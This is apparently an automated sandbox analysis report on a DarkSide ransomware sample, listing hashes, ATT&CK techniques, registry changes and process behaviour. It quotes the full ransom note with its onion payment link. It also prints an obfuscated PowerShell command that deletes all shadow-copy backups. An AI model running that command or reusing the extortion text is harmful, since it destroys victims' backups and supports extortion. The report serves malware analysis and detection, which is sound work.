darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

max time kernel
15s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
25/03/2025, 14:50

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General

Target

RansomwareSamples/DarkSide_16_01_2021_59KB.exe
Size

59KB
MD5

0ed51a595631e9b4d60896ab5573332f
SHA1

7ae73b5e1622049380c9b615ce3b7f636665584b
SHA256

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
SHA512

9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3RYY23W58:0x7Fu4/ihrhDTV1ylhZ58

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.f6405d07.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Darkside family
darkside
Renames multiple (178) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2588	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f6405d07.BMP"	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f6405d07.BMP"	DarkSide_16_01_2021_59KB.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DarkSide_16_01_2021_59KB.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\WallpaperStyle = "10"	DarkSide_16_01_2021_59KB.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f6405d07	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f6405d07\ = "f6405d07"	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f6405d07\DefaultIcon	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f6405d07	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f6405d07\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f6405d07.ico"	DarkSide_16_01_2021_59KB.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2588	powershell.exe
848	DarkSide_16_01_2021_59KB.exe
848	DarkSide_16_01_2021_59KB.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeSecurityPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeTakeOwnershipPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeLoadDriverPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeSystemProfilePrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeSystemtimePrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeProfSingleProcessPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeIncBasePriorityPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeCreatePagefilePrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeBackupPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeRestorePrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeShutdownPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeSystemEnvironmentPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeRemoteShutdownPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeUndockPrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: SeManageVolumePrivilege	848	DarkSide_16_01_2021_59KB.exe
Token: 33	848	DarkSide_16_01_2021_59KB.exe
Token: 34	848	DarkSide_16_01_2021_59KB.exe
Token: 35	848	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeBackupPrivilege	2660	vssvc.exe
Token: SeRestorePrivilege	2660	vssvc.exe
Token: SeAuditPrivilege	2660	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 848 wrote to memory of 2588	848	DarkSide_16_01_2021_59KB.exe	29
PID 848 wrote to memory of 2588	848	DarkSide_16_01_2021_59KB.exe	29
PID 848 wrote to memory of 2588	848	DarkSide_16_01_2021_59KB.exe	29
PID 848 wrote to memory of 2588	848	DarkSide_16_01_2021_59KB.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe
C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe bcdedit /set shutdown /r /f /t 2
1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2588

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
095681539228773e17c3487eccf1e51f

SHA1
638dca423435e513e9d38c71444688d3063e2749

SHA256
b315fe9d8f5d44c2392b4481068bdec76ee7381a4d7038b7512d7c990031869a

SHA512
37e7c5f9e5c63d692048d3d1d7d2efcc275266ed98d22f0d54d0dc9acf33b5245363cebf383b6c8717aee62c75f4c818dd9ed33b20f53ff706d9f7c5a816642d

Download Submit
C:\Users\Admin\README.f6405d07.TXT

Filesize
1KB

MD5
d4e176b40c4ea17f4870c34fad926d6e

SHA1
2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

SHA256
7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

SHA512
feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

Download Submit
memory/2588-5-0x000007FEF5FBE000-0x000007FEF5FBF000-memory.dmp

Filesize
4KB

Download
memory/2588-6-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2588-7-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2588-8-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2588-9-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2588-10-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2588-11-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download